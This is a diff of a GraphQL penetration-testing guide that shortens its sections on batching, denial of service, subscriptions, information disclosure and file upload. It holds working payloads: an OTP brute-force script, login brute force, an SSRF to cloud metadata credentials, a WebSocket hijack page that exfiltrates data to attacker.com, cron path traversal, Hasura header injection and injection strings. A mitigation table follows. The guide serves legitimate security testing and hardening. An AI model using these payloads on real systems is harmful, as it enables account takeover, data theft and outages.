... }```-Directive flooding -- attaching thousands of `@include(if: true)` directives-to a single field -- can also crash parsers (CVE-2024-47614 in async-graphql):--```graphql-query {- __typename @include(if: true) @include(if: true) @include(if: true)- # ... repeat 10,000 times-}-```+Generate a payload with 10,000 directives programmatically. Custom `@auth` or `@constraint` directives may also accept arguments you can manipulate to override server-side behavior.### SSRF Through Resolver Arguments-If a mutation accepts a URL argument (for webhooks, avatars, imports), test-for SSRF:+If a mutation accepts a URL argument (webhooks, avatars, imports), test for SSRF:```graphql-mutation {- setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") {- success- }-}+mutation { setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { success } }```---## 5 -- Batching Attacks-GraphQL servers commonly accept arrays of operations in a single HTTP request.-This enables powerful brute-force and bypass attacks because back-end rate-limiters often count HTTP requests, not individual operations within a batch.+GraphQL servers commonly accept arrays of operations in a single HTTP request. Back-end rate limiters often count HTTP requests, not individual operations within a batch, enabling powerful bypass attacks.### Credential Brute Force@@ -473,119 +262,75 @@ limiters often count HTTP requests, not individual operations within a batch.[{"query": "mutation { login(user: \"admin\", pass: \"password1\") { token } }"},{"query": "mutation { login(user: \"admin\", pass: \"password2\") { token } }"},- {"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"},- {"query": "mutation { login(user: \"admin\", pass: \"password4\") { token } }"},- {"query": "mutation { login(user: \"admin\", pass: \"password5\") { token } }"}+ {"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"}]```-A single HTTP request carries hundreds of login attempts. The rate limiter-sees one request and lets it through.+A single HTTP request carries hundreds of login attempts. The rate limiter sees one request.### OTP / 2FA Bypass-If the application uses a numeric OTP (4-6 digits), batch all possible values:+Batch all possible 4-digit OTP values in chunks:```python-import json, requests+import requests-ops = []-for code in range(0, 10000):- otp = str(code).zfill(4)- ops.append({- "query": f'mutation {{ verifyOTP(code: "{otp}") {{ success token }} }}'- })--# Send in chunks of 500+ops = [{"query": f'mutation {{ verifyOTP(code: "{str(c).zfill(4)}") {{ success token }} }}'}+ for c in range(10000)]for i in range(0, len(ops), 500):- r = requests.post(- "https://target.com/graphql",- json=ops[i:i+500],- headers={"Authorization": "Bearer <session_token>"}- )- for idx, result in enumerate(r.json()):- if result.get("data", {}).get("verifyOTP", {}).get("success"):+ r = requests.post("https://target.com/graphql", json=ops[i:i+500],+ headers={"Authorization": "Bearer <session_token>"})+ for idx, res in enumerate(r.json()):+ if res.get("data", {}).get("verifyOTP", {}).get("success"):print(f"Valid OTP: {str(i + idx).zfill(4)}")- break```### Alias-Based Batching-Some servers reject array batching but allow alias-based batching within a-single query document:+Some servers reject array batching but allow alias-based batching within a single query:```graphqlquery {- attempt1: login(user: "admin", pass: "pass1") { token }- attempt2: login(user: "admin", pass: "pass2") { token }- attempt3: login(user: "admin", pass: "pass3") { token }- attempt4: login(user: "admin", pass: "pass4") { token }- attempt5: login(user: "admin", pass: "pass5") { token }+ a1: login(user: "admin", pass: "pass1") { token }+ a2: login(user: "admin", pass: "pass2") { token }+ a3: login(user: "admin", pass: "pass3") { token }}```-Use BatchQL to automate this:--```bash-python3 batch-ql.py -e https://target.com/graphql -q 'mutation { login(user: "admin", pass: "§pass§") { token } }' -w passwords.txt-```--And CrackQL for more advanced batching with JWT and session management:+Automate with BatchQL and CrackQL:```bash-python3 CrackQL.py -t https://target.com/graphql \- -q query.graphql \- -i inputs.csv \- --batch-size 500+python3 batch-ql.py -e https://target.com/graphql \+ -q 'mutation { login(user: "admin", pass: "FUZZ") { token } }' -w passwords.txt+python3 CrackQL.py -t https://target.com/graphql -q query.graphql -i inputs.csv --batch-size 500```---## 6 -- Denial of Service-GraphQL's flexible query language makes it inherently susceptible to-resource exhaustion attacks unless the server enforces strict cost controls.+GraphQL's flexible query language is inherently susceptible to resource exhaustion unless the server enforces strict cost controls.-### Deeply Nested Queries (Depth Bomb)+### Depth Bomb-Exploit circular relationships in the schema. If `User` has `friends` that-returns `[User]`, you can nest indefinitely:+Exploit circular relationships. If User has `friends` returning `[User]`, nest indefinitely -- eight levels deep on a user with 100 friends each triggers 100^8 resolver calls:```graphqlquery DepthBomb {users {- friends {- friends {- friends {- friends {- friends {- friends {- friends {- friends {- id- }- }- }- }- }- }- }- }+ friends { friends { friends { friends { friends { friends {+ id email+ } } } } } }}}```-Each level multiplies the number of database queries exponentially (N+1-problem). Eight levels deep on a user with 100 friends each triggers 100^8-resolver calls.-### Alias Amplification-Request the same expensive field thousands of times using aliases:+Request the same expensive field thousands of times using aliases. Each alias invokes the resolver independently:```graphql-query AliasAmplification {+query {a1: expensiveReport(year: 2024) { data }a2: expensiveReport(year: 2024) { data }a3: expensiveReport(year: 2024) { data }@@ -593,55 +338,25 @@ query AliasAmplification {}```-Each alias invokes the resolver independently. If the resolver queries a-database or external service, you multiply the back-end load by the alias-count.-### Circular Fragment Spread-Some older implementations do not detect circular fragment references:+Older implementations may not detect circular references, causing infinite recursion:```graphql-fragment A on User {- friends {- ...B- }-}--fragment B on User {- friends {- ...A- }-}--query {- user(id: 1) {- ...A- }-}+fragment A on User { friends { ...B } }+fragment B on User { friends { ...A } }+query { user(id: 1) { ...A } }```-Compliant servers reject this at validation, but misconfigured or custom-implementations may attempt to resolve it, causing infinite recursion and-stack overflow.-### Incremental Delivery Abuse-If the server supports `@defer` and `@stream`, attach them to expensive-subtrees to force the server to hold connections open and compute partial-results in parallel:+If the server supports `@defer` and `@stream`, attach them to expensive subtrees to hold connections open and multiply compute:```graphqlquery {users(first: 1000) @stream(initialCount: 1) {id- orders @defer {- total- items @stream(initialCount: 1) {- name- price- }- }+ orders @defer { total items @stream(initialCount: 1) { name price } }}}```@@ -650,168 +365,98 @@ query {## 7 -- Subscription Abuse and WebSocket Hijacking-GraphQL subscriptions typically run over WebSocket connections using the-`graphql-ws` or older `subscriptions-transport-ws` protocol. These-long-lived connections are a distinct attack surface.+Subscriptions run over WebSocket using `graphql-ws` or the older `subscriptions-transport-ws` protocol. These long-lived connections present a distinct attack surface.### Unauthenticated Subscription-Connect to the WebSocket endpoint and subscribe without providing-authentication in the `connection_init` payload:+Connect without authentication in the `connection_init` payload, then subscribe:```json{"type": "connection_init", "payload": {}}```-Then subscribe to a sensitive event stream:-```json-{- "id": "1",- "type": "subscribe",- "payload": {- "query": "subscription { newOrder { id customer { email } total } }"- }-}+{"id": "1", "type": "subscribe", "payload": {"query": "subscription { newOrder { id customer { email } total } }"}}```-If the server does not validate the connection_init payload, you receive-real-time events for all new orders.+If the server does not validate connection_init, you receive real-time events for all new orders.### Token Expiry on Long-Lived Connections-WebSocket connections persist after the initial handshake. If the server-validates the JWT only during `connection_init` but not on subsequent-messages, a token that expires mid-session remains valid for the life of the-connection. Test this by:+WebSocket connections persist after the initial handshake. If the server validates the JWT only during `connection_init`, a token that expires mid-session remains valid for the connection's lifetime. Test by connecting with a short-lived token, waiting for expiry, then sending a new subscription.-1. Connecting with a valid short-lived token.-2. Waiting for the token to expire.-3. Sending a new subscription -- if it succeeds, the server does not- re-validate tokens.+### Cross-Site WebSocket Hijacking (CSWSH)-### Cross-User Subscription Leaks--If subscription IDs are predictable or sequential, attempt to receive events-intended for other users by guessing subscription identifiers or manipulating-the `id` field in the subscribe message.--### WebSocket CSWSH (Cross-Site WebSocket Hijacking)--If the WebSocket endpoint relies on cookies for authentication and does not-validate the `Origin` header, you can hijack the connection from a malicious-page:+If the WebSocket endpoint relies on cookies and does not validate the Origin header, hijack it from a malicious page:```html<script>var ws = new WebSocket("wss://target.com/graphql", "graphql-ws");ws.onopen = function() {- ws.send(JSON.stringify({type: "connection_init", payload: {}}));- ws.send(JSON.stringify({- id: "1",- type: "subscribe",- payload: {query: "subscription { sensitiveEvent { data } }"}- }));- };- ws.onmessage = function(e) {- fetch("https://attacker.com/collect?d=" + btoa(e.data));+ ws.send(JSON.stringify({type:"connection_init",payload:{}}));+ ws.send(JSON.stringify({id:"1",type:"subscribe",+ payload:{query:"subscription { sensitiveEvent { data } }"}}));};+ ws.onmessage = function(e) { fetch("https://attacker.com/c?d="+btoa(e.data)); };</script>```----## 8 -- Information Disclosure+## 8 -- Information Disclosure and File Upload### Verbose Error Messages-GraphQL engines often return detailed error messages that reveal internal-implementation details:--```graphql-query {- user(id: "abc") {- id- }-}-```--Response exposing backend details:+GraphQL engines often return implementation details in errors. Send type-mismatched arguments to trigger stack traces:```json{- "errors": [- {- "message": "invalid input syntax for type integer: \"abc\"",- "locations": [{"line": 2, "column": 3}],- "extensions": {- "code": "INTERNAL_SERVER_ERROR",- "exception": {- "stacktrace": [- "Error: invalid input syntax for type integer: \"abc\"",- " at /app/node_modules/pg/lib/client.js:526:17",- " at /app/src/resolvers/user.js:42:12"- ]- }+ "errors": [{+ "message": "invalid input syntax for type integer: \"abc\"",+ "extensions": {+ "exception": {+ "stacktrace": [+ "Error: invalid input syntax for type integer: \"abc\"",+ " at /app/node_modules/pg/lib/client.js:526:17",+ " at /app/src/resolvers/user.js:42:12"+ ]}}- ]+ }]}```-This reveals the database driver (PostgreSQL via `pg`), the resolver file-path, and line numbers. Feed this information into targeted injection payloads.+This reveals the database driver (PostgreSQL via `pg`), file paths, and line numbers.### Field Suggestion as Schema Oracle-Even when introspection is disabled, the "Did you mean" feature acts as a-side channel. Systematically iterate through prefixes:+Even with introspection disabled, iterate through prefixes to reconstruct the schema via "Did you mean" responses:```text-Query field "a" -> Did you mean "admin", "account"?-Query field "b" -> Did you mean "billing", "blog"?-Query field "c" -> Did you mean "customer", "config", "cart"?+Query field "a" -> "admin", "account"+Query field "b" -> "billing", "blog"+Query field "c" -> "customer", "config", "cart"```-You reconstruct the full Query type field list without introspection. Then-repeat the process on each discovered type's fields by querying nested fields-with intentional typos.-### Hasura and Apollo-Specific Leaks-**Hasura:** Test header injection with `x-hasura-role` and `x-hasura-user-id`.-If the server trusts these headers without validation (common when the admin-secret is not required):+**Hasura** -- test `x-hasura-role` and `x-hasura-user-id` header injection when the admin secret is not enforced:```bashcurl -s -X POST https://target.com/v1/graphql \- -H "Content-Type: application/json" \- -H "x-hasura-role: admin" \- -H "x-hasura-user-id: 1" \+ -H "Content-Type: application/json" -H "x-hasura-role: admin" -H "x-hasura-user-id: 1" \-d '{"query": "{ users { id email password_hash } }"}'```-**Apollo Server:** Check for schema exposure through persisted query-extensions and the Apollo Studio explorer. Query the `_service` field if-Apollo Federation is in use:+**Apollo Federation** -- query the `_service` field for the full SDL of a subgraph:```graphql-query {- _service {- sdl- }-}+query { _service { sdl } }```-This returns the full Schema Definition Language for the subgraph.-----+### File Upload via Multipart GraphQL-## 9 -- File Upload via Multipart GraphQL--The GraphQL multipart request specification (used by `graphql-upload`,-`apollo-upload-server`, and others) enables file uploads through mutations.-Test for path traversal, unrestricted file types, and oversized uploads.+The multipart request specification enables file uploads through mutations. Test for path traversal, unrestricted types, and oversized uploads:```bashcurl -s -X POST https://target.com/graphql \@@ -820,52 +465,28 @@ curl -s -X POST https://target.com/graphql \```-Attack vectors to test:--- **Path traversal in the map field:** Manipulate the `map` JSON to write- files outside the intended upload directory:- `{"0": ["variables.file"], "path": "../../../etc/cron.d/shell"}`-- **Content-type trust:** Upload a `.php`, `.jsp`, or `.aspx` file and check- whether the server validates content by magic bytes or trusts the- Content-Type header.-- **Oversized uploads:** Send a multi-gigabyte file to test whether the server- enforces upload size limits at the GraphQL layer.-- **Temp file exposure:** Some implementations write uploaded files to a- predictable temporary path before processing -- check whether those temp- files are accessible via the web server.+Attack vectors: path traversal via manipulated `map` JSON paths, content-type trust (upload `.php`/`.jsp` and check for magic byte validation), multi-gigabyte uploads for size limit testing, and predictable temp file paths that may be web-accessible before processing.---## Detection / Defender View-If you are writing a report or advising a client on hardening, these are the-controls that would have prevented or detected each attack category above.-| Attack Category | Detection / Prevention ||---|---|-| Introspection abuse | Disable introspection in production (`introspection: false`). Monitor for `__schema` and `__type` in query logs. |-| Field suggestion oracle | Disable field suggestions in production (Apollo: `includeStacktraceInErrorResponses: false` and custom plugin to strip suggestions; Yoga: `maskedErrors`). |-| IDOR via node IDs | Enforce ownership checks in every resolver. Use opaque non-sequential identifiers (UUIDs). |-| Nested auth gaps | Implement schema-level authorization directives (e.g., `@auth`, `@hasRole`). Apply checks at every resolver, not just top-level queries. |-| SQL / NoSQL injection | Use parameterized queries exclusively. Never concatenate user input into query strings. |-| Batching brute force | Limit array batch size (e.g., max 5 operations per request). Rate-limit by operation count, not HTTP request count. |-| Alias amplification | Set alias count limits. Use query cost analysis (e.g., graphql-query-complexity, GraphQL Armor). |-| Depth bomb | Enforce max query depth (typically 7-10). Libraries: graphql-depth-limit, GraphQL Armor. |-| Subscription hijack | Validate authentication on every `connection_init` and re-validate tokens periodically. Enforce Origin header checks for WebSocket upgrades. |-| Verbose errors | Return generic error messages in production. Strip stack traces and internal paths. |-| File upload abuse | Validate file content by magic bytes, enforce size limits, store files outside the web root, and re-encode images. |-| CSRF | Require `Content-Type: application/json` (browsers cannot set this in simple cross-origin requests). Reject GET-based mutations. Validate Origin header. |--Key hardening tools:--- **GraphQL Armor** -- drop-in middleware for Apollo, Yoga, and Envelop that- enforces depth limits, alias limits, cost analysis, and character limits.-- **Persisted queries** -- allowlist known operations and reject ad-hoc- queries in production. Apollo supports Automatic Persisted Queries (APQ)- with signature enforcement.-- **WAF rules** -- if you must use a WAF, configure it to parse the JSON body- and inspect the `query` field, not just URL parameters. Naive WAFs miss- POST-body payloads entirely.+| Introspection abuse | Disable in production (`introspection: false`). Monitor for `__schema` and `__type` in query logs. |+| Field suggestion oracle | Disable suggestions (Apollo: custom plugin to strip; Yoga: `maskedErrors`). |+| IDOR via node IDs | Enforce ownership checks in every resolver. Use UUIDs over sequential IDs. |+| Nested auth gaps | Schema-level authorization directives (`@auth`, `@hasRole`). Checks at every resolver, not just top-level. |+| SQL / NoSQL injection | Parameterized queries exclusively. Never concatenate user input. |+| Batching brute force | Limit batch size (max 5 operations). Rate-limit by operation count, not HTTP request count. |+| Alias amplification | Alias count limits. Query cost analysis (graphql-query-complexity, GraphQL Armor). |+| Depth bomb | Max query depth 7-10 (graphql-depth-limit, GraphQL Armor). |+| Subscription hijack | Validate auth on every `connection_init`, re-validate tokens periodically, enforce Origin checks. |+| Verbose errors | Generic error messages in production. Strip stack traces and paths. |+| File upload abuse | Validate by magic bytes, enforce size limits, store outside web root, re-encode images. |+| CSRF | Require `Content-Type: application/json`. Reject GET-based mutations. Validate Origin. |++Key hardening tools: **GraphQL Armor** (depth, alias, cost, character limits for Apollo/Yoga/Envelop), **persisted queries** (allowlist known operations, reject ad-hoc queries via APQ with signature enforcement), and WAF rules that parse JSON bodies and inspect the `query` field rather than just URL parameters.---@@ -874,20 +495,20 @@ Key hardening tools:```textRECONEndpoint discovery curl POST /graphql, /v1/graphql, /api/graphql with {__typename}- Fingerprint engine graphw00f -t <url>- Introspection dump Full __schema query through Altair or InQL+ Fingerprint graphw00f -t <url>+ Introspection dump Full __schema query via Altair or InQLConfig audit graphql-cop -t <url>- Schema visualization Feed introspection JSON into GraphQL Voyager+ Visualize schema Introspection JSON into GraphQL Voyager-BLIND SCHEMA RECOVERY (introspection disabled)+BLIND SCHEMA RECOVERYField suggestions Query invalid fields, collect "Did you mean" responsesAutomated recovery clairvoyance -t <url> -w wordlist.txt- Client bundle mining grep -oP '(query|mutation|fragment)\s+\w+' main.js- Apollo sandbox Navigate to endpoint in browser for Apollo Studio+ Client bundles grep -oP '(query|mutation|fragment)\s+\w+' main.js+ Apollo sandbox Navigate to endpoint in browserAUTH TESTING- Unauthenticated access Replay every query/mutation with no Authorization header- Horizontal escalation Decode Relay node IDs, substitute other user IDs+ No-auth access Replay every query/mutation without Authorization header+ Horizontal IDOR Decode Relay node IDs, substitute other user IDsVertical escalation Test admin mutations with low-privilege tokensNested traversal Follow relationships to reach unauthorized objectsCursor manipulation Decode Relay cursors, modify offset values@@ -895,22 +516,22 @@ AUTH TESTINGINJECTIONSQLi via variables {"name": "admin' OR 1=1 --"}NoSQL injection {"filter": {"$ne": ""}}- SSRF via URL arguments Point URL fields at 169.254.169.254+ SSRF via URL args Point URL fields at 169.254.169.254Directive flooding 10,000 @include(if: true) on a single fieldBATCHINGArray batching [{"query":"mutation{login(...)}"}, ...]Alias batching a1: login(...) a2: login(...) ...OTP exhaustion Batch all 4-6 digit codes in chunks of 500- Tooling CrackQL, BatchQL+ Tools CrackQL, BatchQL-DENIAL OF SERVICE+DoSDepth bomb Nest circular relationships 8+ levelsAlias amplification 1000+ aliases on an expensive resolverFragment cycle Circular fragment spreads (A -> B -> A)Incremental delivery @defer/@stream on expensive subtrees-SUBSCRIPTION ABUSE+SUBSCRIPTIONSNo-auth subscribe connection_init with empty payloadToken expiry test Connect, wait for JWT expiry, send new subscriptionCSWSH Cross-site WebSocket hijack via malicious page@@ -920,10 +541,10 @@ FILE UPLOADPath traversal Manipulate map JSON pathsType bypass Upload executable with benign Content-Type-INFORMATION DISCLOSURE- Verbose errors Send type-mismatched arguments, observe stack traces- Federation SDL Query { _service { sdl } }- Hasura header injection x-hasura-role: admin without admin secret+INFO DISCLOSURE+ Verbose errors Type-mismatched arguments, observe stack traces+ Federation SDL { _service { sdl } }+ Hasura headers x-hasura-role: admin without admin secret```---@@ -931,16 +552,16 @@ INFORMATION DISCLOSURE## Key References- GraphQL specification: https://spec.graphql.org/-- GraphQL multipart request specification: https://github.com/jaydenseric/graphql-multipart-request-spec-- InQL (Burp Suite extension): https://github.com/doyensec/inql+- GraphQL multipart request spec: https://github.com/jaydenseric/graphql-multipart-request-spec+- InQL (Burp extension): https://github.com/doyensec/inql- graphql-cop (security auditor): https://github.com/dolevf/graphql-cop-- CrackQL (batching and brute force): https://github.com/nicholasaleks/CrackQL+- CrackQL (batching/brute force): https://github.com/nicholasaleks/CrackQL- BatchQL (batch query tool): https://github.com/assetnote/batchql- clairvoyance (schema reconstruction): https://github.com/nikitastupin/clairvoyance- graphw00f (fingerprinting): https://github.com/dolevf/graphw00f-- GraphQL Voyager (schema visualization): https://graphql-kit.com/graphql-voyager/+- GraphQL Voyager (visualization): https://graphql-kit.com/graphql-voyager/- Altair GraphQL Client: https://altairgraphql.dev/-- GraphQL Armor (hardening middleware): https://github.com/Escape-Technologies/graphql-armor+- GraphQL Armor (hardening): https://github.com/Escape-Technologies/graphql-armor- OWASP GraphQL Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html- HackTricks GraphQL: https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/graphql.html-- "Damn Vulnerable GraphQL Application" (practice target): https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application+- Damn Vulnerable GraphQL Application: https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application